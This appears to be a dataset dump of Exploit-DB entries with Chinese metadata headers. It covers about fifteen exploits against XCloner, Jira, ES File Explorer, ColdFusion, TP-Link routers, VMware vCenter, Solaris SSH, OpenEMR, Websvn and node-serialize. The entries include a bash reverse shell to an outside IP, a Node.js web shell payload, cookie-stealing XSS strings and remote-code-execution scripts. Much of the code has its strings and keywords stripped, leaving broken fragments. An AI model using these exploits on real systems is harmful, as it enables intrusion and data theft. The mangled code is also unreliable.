QLWD/code_shield huggingface dataset:
标题: Wordpress Plugin XCloner 4.2.12 - Remote Code Execution (Authenticated) EDB-ID: 50077 CVE: 2020-35948 类型: WEBAPPS 平台: PHP 发布日期: 2021-07-01 漏洞利用脚本: # Exploit Title: Wordpress Plugin XCloner 4.2.12 - Remote Code Execution (Authenticated)
# Date 30.06.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://www.xcloner.com/
# Software Link: https://downloads.wordpress.org/plugin/xcloner-backup-and-restore.4.2.12.zip
# Version: 4.2.1 - 4.2.12
# Tested on: Ubuntu 18.04
# CVE: CVE-2020-35948
# CWE: CWE-732
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/CVE-2020-35948-Exploit/README.md

'''
Description:
An issue was discovered in the XCloner Backup and Restore plugin before 4.2.13 for WordPress. It gave authenticated attackers the ability to modify arbitrary files, 
including PHP files. Doing so would allow an attacker to achieve remote code execution. The xcloner_restore.php write_file_action could overwrite wp-config.php, 
for example. Alternatively, an attacker could create an exploit chain to obtain a database dump.
'''



banner  
banner



 requests
 argparse



my_parser  argparseArgumentParserdescription
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
args  my_parserparse_args
target_ip  argsIP
target_port  argsPORT
wp_path  argsPATH
username  argsUSERNAME
password  argsPASSWORD

ajax_cmd  


session  requestsSession
auth_url    target_ip    target_port  wp_path  


header  
     target_ip
     
     
     
     
     
       target_ip
     
     



body  
      username 
     password 
      
     




auth  sessionpostauth_url headersheader databody
auth_header authheaders
   auth_header
    

    
    exit



url_exploit  

header  
     
     
     



body    ajax_cmd

exploit  sessionposturl_exploit headersheader databody

exploittext URL: https://www.exploit-db.com/exploits/50077
标题: Atlassian Jira Server Data Center 8.16.0 - Reflected Cross-Site Scripting (XSS) EDB-ID: 50068 CVE: 2021-26078 类型: WEBAPPS 平台: MACOS 发布日期: 2021-06-28 漏洞利用脚本: # Exploit Title: Atlassian Jira Server/Data Center 8.16.0 - Reflected Cross-Site Scripting (XSS)
# Date: 06/05/2021
# Exploit Author: CAPTAIN_HOOK
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/jira/download/data-center
# Version: versions < 8.5.14, 8.6.0 ≤ version <  8.13.6, 8.14.0 ≤ version < 8.16.1
# Tested on: ANY
# CVE : CVE-2021-26078

Description:         

The number range searcher component in Jira Server and Jira Data Center before version 8.5.14, from version 8.6.0 before version 8.13.6, and from version 8.14.0 before version 8.16.1 allows remote attackers inject arbitrary HTML or JavaScript via across site scripting (XSS) vulnerability
*Fixed versions:*

   - 8.5.14
   - 8.13.6 
   - 8.16.1 
   - 8.17.0

POC:

   - *Story points* custom field that exists by default in all JIRA Server has 3 types of Search template ( None , number range searcher, number searcher) By default the value of Search template is number range searcher OR number searcher. if the value of Search template was set on number range searcher the JIRA server is vulnerable to XSS attack by lowest privilege . For Testing Check the Story points custom field and it's details ( for verifying that the Search template sets on number range searcher) with your ADMIN account ( just like the images) and in the other window Type this With your least privilege
user : jql=issuetype%20%3D%20Epic%20AND%20%22Story%20Points%22%20%3C%3D%20%22%5C%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E%22%20AND%20%22Story%20Points%22%20%3E%3D%20%221%22
Your XSS Will be triggered immediately.

Reference:
https://jira.atlassian.com/browse/JRASERVER-72392?error=login_required&error_description=Login+required&state=9b05ec1f-587c-4014-9053-b6fdbb1efa21 URL: https://www.exploit-db.com/exploits/50068
标题: ES File Explorer 4.1.9.7.4 - Arbitrary File Read EDB-ID: 50070 CVE: 2019-6447 类型: REMOTE 平台: ANDROID 发布日期: 2021-06-29 漏洞利用脚本: # Exploit Title: ES File Explorer 4.1.9.7.4 - Arbitrary File Read
# Date: 29/06/2021
# Exploit Author: Nehal Zaman
# Version: ES File Explorer v4.1.9.7.4
# Tested on: Android
# CVE : CVE-2019-6447

import requests
import json
import ast
import sys

if len(sys.argv) < 3:
    print(f"USAGE {sys.argv[0]} <command> <IP> [file to download]")
    sys.exit(1)

url    sysargv  
cmd  sysargv
cmds  ,'listAppsAll','getFile','getDeviceInfo']
listCmds  cmds
 cmd   cmds
    
    
    
    
    
    
    
    
    
    
    
    
    
    sysexit






header    
proxy   

 cmd
    data  jsondumpscmd
    response  requestsposturl headersheader datadata
     astliteral_evalresponsetext

 text keys
     dic  text
         key  keys
            f
        

 cmd
    response  httpPostcmd
     response  
        keys  
    
        keys  responsekeys
    parseresponse keys

 cmd  listCmds
    do_listingcmd

 cmd  cmds
     sysargv  
        
        sysexit
     sysargv  
        
        sysexit
    
        path  sysargv
        
        response  requestsgeturl  path
           wf
            wfwriteresponsecontent
        

 cmd  cmds
    response  httpPostcmd
    keys  responsekeys
     key  keys
        f URL: https://www.exploit-db.com/exploits/50070
标题: Adobe ColdFusion 8 - Remote Command Execution (RCE) EDB-ID: 50057 CVE: 2009-2265 类型: WEBAPPS 平台: CFM 发布日期: 2021-06-24 漏洞利用脚本: # Exploit Title: Adobe ColdFusion 8 - Remote Command Execution (RCE)
# Google Dork: intext:"adobe coldfusion 8"
# Date: 24/06/2021
# Exploit Author: Pergyz
# Vendor Homepage: https://www.adobe.com/sea/products/coldfusion-family.html
# Version: 8
# Tested on: Microsoft Windows Server 2008 R2 Standard
# CVE : CVE-2009-2265

#!/usr/bin/python3

from multiprocessing import Process
import io
import mimetypes
 os
 urllibrequest
 uuid

 

     self
        selffiles  
        selfboundary  uuiduuid4encode
        

     self
         selfboundarydecode

     self fieldname filename fileHandle mimetype
        body  fileHandleread

         mimetype  
            mimetype  mimetypesguess_typefilename  

        selffilesappendfieldname filename mimetype body
        

    @
     name filename
         fencode

    @
     ct
         ctencode

     self
          ioBytesIO
        boundary  b  selfboundary  b

         f_name filename f_content_type body  selffiles
            writeboundary
            writeself_attached_filef_name filename
            writeself_content_typef_content_type
            writeb
            writebody
            writeb

        writeb  selfboundary  b
         getvalue

 
    
    urllibrequesturlopenfreaddecode

 
    
    ossystemf

 __name__  
    
    lhost  
    lport  
    rhost  
    rport  
    filename  uuiduuid4

    
    
    ossystemf

    
    form  MultiPartForm
    formadd_file filename   fileHandlefilename   
    data  form

    
    request  urllibrequestRequestf datadata
    requestadd_header formget_content_type
    requestadd_header data

    
    

     name value  requestheader_items
        f

      requestdatadecode

    
    
    urllibrequesturlopenrequestreaddecode
    
    
    
    f
    f
    f
    f
    f

    
    
    ossystemf

    
    p1  Processtargetlisten_connection
    p1start
    p2  Processtargetexecute_payload
    p2start
    p1join
    p2join URL: https://www.exploit-db.com/exploits/50057
标题: TP-Link TL-WR841N - Command Injection EDB-ID: 50058 CVE: 2020-35576 类型: WEBAPPS 平台: HARDWARE 发布日期: 2021-06-24 漏洞利用脚本: # Exploit Title: TP-Link TL-WR841N - Command Injection
# Date: 2020-12-13
# Exploit Author: Koh You Liang
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://static.tp-link.com/TL-WR841N(JP)_V13_161028.zip
# Version: TL-WR841N 0.9.1 4.0
# Tested on: Windows 10
# CVE : CVE-2020-35576

import requests
import sys
import time

try:
    _ = sys.argv[2]
    payload = ' '.join(sys.argv[1:])
 IndexError
    
        payload  sysargv
     IndexError
        
        payload  


cookies  
     


headers  
     
     
     
     
     
     
     
     
     
     


data1  \
.format(payload)
response1  requestspost headersheaders cookiescookies datadata1 verify



    response1textsplitlines
 IndexError
    sysexit
 response1textsplitlines  
    sysexit

data2  
response2  requestspost headersheaders cookiescookies datadata2 verify

timesleep 

data3  
response3  requestspost headersheaders cookiescookies datadata3 verify

   response3textsplitlines
    

    
     line_number line  response3textsplitlines
        
             line_number  
                line
             line_number    line  
                line
                   line
                    
         IndexError URL: https://www.exploit-db.com/exploits/50058
标题: VMware vCenter Server 7.0 - Remote Code Execution (RCE) (Unauthenticated) EDB-ID: 50056 CVE: 2021-21972 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-06-24 漏洞利用脚本: # Exploit Title: VMware vCenter Server RCE 6.5 / 6.7 / 7.0 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 06/21/2021
# Exploit Author: CHackA0101
# Vendor Homepage: https://kb.vmware.com/s/article/82374
# Software Link: https://www.vmware.com/products/vcenter-server.html
# Version: This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
# Tested on: VMware vCenter version 6.5 (OS: Linux 4.4.182-1.ph1 SMP UTC 2019 x86_64 GNU/Linux)
# CVE: 2021-21972

# More Info: https://github.com/chacka0101/exploits/blob/master/CVE-2021-21972/README.md

#!/usr/bin/python2

 os
 urllib3
 argparse
 sys
 requests
 base64
 tarfile
 threading
 time

urllib3disable_warningsurllib3exceptionsInsecureRequestWarning

myargsargparseArgumentParser
myargsadd_argumentrequired
myargsadd_argumentrequired
argsmyargsparse_args

 x
   x 

 path
    fullpath    path
     fullpathreplacereplace

 localip
    
    backdoor  
    backdoor  base64b64decodebackdoordecode
    f  
    fwritebackdoor
    fclose
    
    
    shell
    shellbase64b64decodeshelldecode
    shellshellreplacelocalip
    f
    fwriteshell
    fclose
    
    payload_filetarfile
    myroutegetpath
    getprompt
    payload_fileadd myroute
    myroutegetpath
    getprompt
    payload_fileadd myroute
    payload_fileclose
    
    osunlink
    osunlink
    getprompt

 ip
    resrequestspost  ip   files  verify timeout
     resstatus_code    restext  
        getprompt
         
    
        getprompt
     

 ip
    getprompt
    shell_path
    resrequestsget  ip  shell_path verify timeout
     resstatus_code
        getprompt
        responserestext
         
            getprompt
            
                responserefindallresponse
                
                response
            
                
             
    
        getprompt
     

 url
    timesleep
    getprompt
    requestsgeturl verify timeout
 
 ip localip
    urlip
    tthreadingThreadtargetopendoorargsurl
    tstart
    getpromptlocalip
    ossystem

 sysargv 
    myargsprint_helpsysstderr
    sysexit
createbackdoorargslocal
uploadedlaunchexploitargstarget
 uploaded
    testedtestshellargstarget
     tested
        executebackdoorargstarget argslocal
getprompt URL: https://www.exploit-db.com/exploits/50056
标题: WordPress Plugin WP Google Maps 8.1.11 - Stored Cross-Site Scripting (XSS) EDB-ID: 50051 CVE: 2021-24383 类型: WEBAPPS 平台: PHP 发布日期: 2021-06-23 漏洞利用脚本: # Exploit Title: WordPress Plugin WP Google Maps 8.1.11 - Stored Cross-Site Scripting (XSS)
# Date: 22/6/2021
# Exploit Author: Mohammed Adam
# Vendor Homepage: https://www.wpgmaps.com/
# Software Link: https://wordpress.org/plugins/wp-google-maps/
# Version: 5.7.2
# Tested on: Windows 10
# CVE: CVE-2021-24383
# References link: https://wpscan.com/vulnerability/1270588c-53fe-447e-b83c-1b877dc7a954

*Proof of Concept*

*Steps to Reproduce:*

1) Edit a map (e.g
/wp-admin/admin.php?page=wp-google-maps-menu&action=edit&map_id=1)

2) Change Map Name to <script>alert(document.cookie)</script>

3) Save the Map

4) Stored XSS will be triggered when viewing the Map List
(/wp-admin/admin.php?page=wp-google-maps-menu) URL: https://www.exploit-db.com/exploits/50051
标题: Remote Mouse GUI 3.008 - Local Privilege Escalation EDB-ID: 50047 CVE: 2021-35448 类型: LOCAL 平台: WINDOWS 发布日期: 2021-06-21 漏洞利用脚本: # Exploit Title: Remote Mouse GUI 3.008 - Local Privilege Escalation
# Exploit Author: Salman Asad (@deathflash1411) a.k.a LeoBreaker
# Date: 17.06.2021
# Version: Remote Mouse 3.008
# Tested on: Windows 10 Pro Version 21H1
# Reference: https://deathflash1411.github.io/blog/cve-2021-35448
# CVE: CVE-2021-35448

Steps to reproduce:

1. Open Remote Mouse from the system tray
2. Go to "Settings"
3. Click "Change..." in "Image Transfer Folder" section
4. "Save As" prompt will appear
5. Enter "C:\Windows\System32\cmd.exe" in the address bar
6. A new command prompt is spawned with Administrator privileges URL: https://www.exploit-db.com/exploits/50047
标题: Solaris SunSSH 11.0 x86 - libpam Remote Root (3) EDB-ID: 50039 CVE: 2020-14871 类型: REMOTE 平台: SOLARIS 发布日期: 2021-06-21 漏洞利用脚本: # Exploit Title: Solaris SunSSH 11.0 x86 - libpam Remote Root (3)
# Exploit Author: Nathaniel Singer, Joe Rozner
# Date: 09/11/2020
# CVE: 2020-14871

# Vulnerable Version(s): Oracle Solaris: 9 (some releases), 10 (all releases), 11.0
# Description: CVE-2020-14871 is a critical pre-authentication (via SSH) stack-based buffer overflow vulnerability in the Pluggable Authentication Module (PAM) in Oracle Solaris. PAM is a dynamic authentication component that was integrated into Solaris back in 1997 as part of Solaris 2.6. The vulnerability received a CVSSv3 score of 10.0, the maximum possible score.

# Vendor Homepage: https://www.oracle.com/solaris
# Software Link: https://www.oracle.com/solaris/solaris10/downloads/solaris10-get-jsp-downloads.html
# Tested on: Software Hash (md5): aae1452bb3d56baa3dcb8866ce7e4a08 2254110720: sol-10-u11-ga-x86-dvd.iso





 pwn  



buf  b
buf  b
buf  b



buf  b
pad  b buf


g  
gappendp32 
gappendp32 
gappendp32 
gappendp32 
gappendp32 
gappendp32 
gappendp32 
gappendp32 
gappendp32 
gappendp32 
gappendp32 
gappendp32 
gappendp32 
gappendp32 
gappendp32 
chain  bjoing 
f


remote_host  "”
io  processf shell stdinPTY

iorecv 
iosendlinebuf  pad  chain URL: https://www.exploit-db.com/exploits/50039
标题: OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) EDB-ID: 50037 CVE: 2019-14530 类型: WEBAPPS 平台: PHP 发布日期: 2021-06-21 漏洞利用脚本: # Exploit Title: OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated)
# Date 16.06.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_7.zip
# Version: All versions prior to 5.0.2
# Tested on: Ubuntu 18.04
# CVE: CVE-2019-14530
# CWE: CWE-22
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/CVE-2019-14530-Exploit/README.md
# Reference: https://raw.githubusercontent.com/Wezery/CVE-2019-14530/master/Path%20traversal%20and%20DoS.pdf





banner  
banner



 requests
 argparse



my_parser  argparseArgumentParserdescription
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
args  my_parserparse_args
target_ip  argsIP
target_port  argsPORT
openemr_path  argsPATH
username  argsUSERNAME
password  argsPASSWORD

Filepath  



session  requestsSession
auth_url    target_ip    target_port  openemr_path  


header  
     target_ip
     
     
     
     
     
       target_ip
     
     



body  
     
     
     username
     password
     




auth  sessionpostauth_url headersheader databody
   authtext
    
    exit

      auth



url_static    target_ip    target_port  openemr_path
url_dynamic  
url_exploit  url_static  url_dynamic  Filepath




header  
     target_ip
     
     
     
     
     
     




  Filepath  

getfile  sessiongeturl_exploit headers  header
getfiletext URL: https://www.exploit-db.com/exploits/50037
标题: Websvn 2.6.0 - Remote Code Execution (Unauthenticated) EDB-ID: 50042 CVE: 2021-32305 类型: WEBAPPS 平台: PHP 发布日期: 2021-06-21 漏洞利用脚本: # Exploit Title: Websvn 2.6.0 - Remote Code Execution (Unauthenticated)
# Date: 20/06/2021
# Exploit Author: g0ldm45k
# Vendor Homepage: https://websvnphp.github.io/
# Software Link: https://github.com/websvnphp/websvn/releases/tag/2.6.0
# Version: 2.6.0
# Tested on: Docker + Debian GNU/Linux (Buster)
# CVE : CVE-2021-32305

import requests
import argparse
from urllib.parse import quote_plus

PAYLOAD = "/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.149/4444 0>&1'"
REQUEST_PAYLOAD  

parser  argparseArgumentParserdescription
parseradd_argument  

args  parserparse_args

 argstargetstartswith  argstargetstartswith
    target  argstarget

    
    exit

requestsgettarget  REQUEST_PAYLOADquote_plusPAYLOAD URL: https://www.exploit-db.com/exploits/50042
标题: Node.JS - 'node-serialize' Remote Code Execution (3) EDB-ID: 50036 CVE: 2017-5941 类型: WEBAPPS 平台: NODEJS 发布日期: 2021-06-18 漏洞利用脚本: # Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (3)
# Date: 17.06.2021
# Exploit Author: Beren Kuday GORUN
# Vendor Homepage: https://github.com/luin/serialize
# Software Link: https://github.com/luin/serialize
# Version: 0.0.4
# Tested on: Windows & Ubuntu
# CVE : 2017-5941

var serialize = require('node-serialize');
var payload = {
    "webShell" : "_$$ND_FUNC$$_function(){const http = require('http'); const url = require('url'); const ps  = require('child_process'); http.createServer(function (req, res) { var queryObject = url.parse(req.url,true).query; var cmd = queryObject['cmd']; try { ps.exec(cmd, function(error, stdout, stderr) { res.end(stdout); }); } catch (error) { return; }}).listen(443); }()"
    
serializeserializepayload URL: https://www.exploit-db.com/exploits/50036
标题: Zoho ManageEngine ServiceDesk Plus MSP 9.4 - User Enumeration EDB-ID: 50027 CVE: 2021-31159 类型: WEBAPPS 平台: JAVA 发布日期: 2021-06-17 漏洞利用脚本: # Exploit Title: Zoho ManageEngine ServiceDesk Plus MSP 9.4 - User Enumeration 
# Date: 17/06/2021
# Exploit Author: Ricardo Ruiz (@ricardojoserf)
# CVE: CVE-2021-31159 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31159)
# Vendor Homepage: https://www.manageengine.com
# Vendor Confirmation: https://www.manageengine.com/products/service-desk-msp/readme.html#10519
# Version: Previous to build 10519
# Tested on: Zoho ManageEngine ServiceDesk Plus 9.4
# Example: python3 exploit.py -t http://example.com/ -d DOMAIN -u USERSFILE [-o OUTPUTFILE]
# Repository (for updates and fixing bugs): https://github.com/ricardojoserf/CVE-2021-31159

import argparse
import requests
import urllib3
urllib3disable_warningsurllib3exceptionsInsecureRequestWarning


 
 parser  argparseArgumentParser
 parseradd_argument  required action 
 parseradd_argument  required action 
 parseradd_argument  required action  
 parseradd_argument  required default action 
 my_args  parserparse_args
  my_args


 
 args  get_args
 url  argstarget
 domain  argsdomain
 usersfile  argsusersfile
 outputfile  argsoutputfile

 s  requestssession
 sgeturl
 resp_incorrect  sgeturldomain verify  
 incorrect_size  resp_incorrectcontent
 incorrect_size

 correct_users  
 users  usersfilereadsplitlines
  u  users
   resp  sgeturludomain verify   
   valid  respcontent  incorrect_size
    valid
    correct_usersappendu
   u respcontentvalid

 
  outputfile   f
   user  correct_users
   fwrite  user
   user

 outputfile


 __name__  
    main URL: https://www.exploit-db.com/exploits/50027
标题: OpenEMR 5.0.1.3 - Authentication Bypass EDB-ID: 50017 CVE: 2018-15152 类型: WEBAPPS 平台: PHP 发布日期: 2021-06-16 漏洞利用脚本: # Exploit Title: OpenEMR 5.0.1.3 - '/portal/account/register.php' Authentication Bypass
# Date 15.06.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_3.zip
# Version: All versions prior to 5.0.1.4
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-15152
# CWE: CWE-287
# Documentation: https://github.com/Hacker5preme/Exploits#CVE-2018-15152-Exploit

'''
Description:
An unauthenticated user is able to bypass the Patient Portal Login by simply navigating to
the registration page and modifying the requested url to access the desired page. Some
examples of pages in the portal directory that are accessible after browsing to the
registration page include:
- add_edit_event_user.php
- find_appt_popup_user.php
- get_allergies.php
- get_amendments.php
- get_lab_results.php
- get_medications.php
- get_patient_documents.php
- get_problems.php
- get_profile.php
- portal_payment.php
- messaging/messages.php
- messaging/secure_chat.php
- report/pat_ledger.php
- report/portal_custom_report.php
- report/portal_patient_report.php
Normally, access to these pages requires authentication as a patient. If a user were to visit
any of those pages unauthenticated, they would be redirected to the login page.
'''



 requests
 argparse



my_parser  argparseArgumentParserdescription
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
args  my_parserparse_args
target_ip  argsIP
target_port  argsPORT
openemr_path  argsOpenemrpath
pathtoread  argsPathToGet




session  requestsSession
check_vuln_url    target_ip    target_port  openemr_path  
check_vuln  sessiongetcheck_vuln_urltext




   check_vuln
    

    


header  
     check_vuln_url

exploit_url    target_ip    target_port  openemr_path  pathtoread
Exploit  sessiongetexploit_url headersheader



Exploittext URL: https://www.exploit-db.com/exploits/50017
标题: OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) EDB-ID: 49998 CVE: 2018-15139 类型: WEBAPPS 平台: PHP 发布日期: 2021-06-14 漏洞利用脚本: # Exploit Title: OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated)
# Date 12.06.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_3.zip
# Version: Prior to 5.0.1.4
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-15139
# CWE: CWE-434
# Documentation: https://github.com/Hacker5preme/Exploits#CVE-2018-15139

'''
Description:
Unrestricted file upload in interface/super/manage_site_files.php in versions of OpenEMR before 5.0.1.4 allows a remote
authenticated attacker to execute arbitrary PHP code by uploading a file with a PHP extension via the images upload
form and accessing it in the images directory.
'''



banner 
banner



 argparse
 requests



my_parser  argparseArgumentParserdescription
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
args  my_parserparse_args
target_ip  argsIP
target_port  argsPORT
openemr_path  argsPATH
username  argsUSERNAME
password  argsPASSWORD



session  requestsSession
auth_url    target_ip    target_port  openemr_path  
auth_chek_url    target_ip    target_port  openemr_path  
response  sessiongetauth_chek_url


header  
     target_ip
     
     
     
     
     
       target_ip
     
     auth_chek_url
     



body  
     
     
     username
     password
     





auth  sessionpostauth_urlheadersheader databody







exploit_url    target_ip    target_port  openemr_path  


header  
     
     
     
     
     
       target_ip
     
       target_ip    target_port  openemr_path  
     



body  


sessionpostexploit_url headersheader databody


path    target_ip    target_port  openemr_path  
  path URL: https://www.exploit-db.com/exploits/49998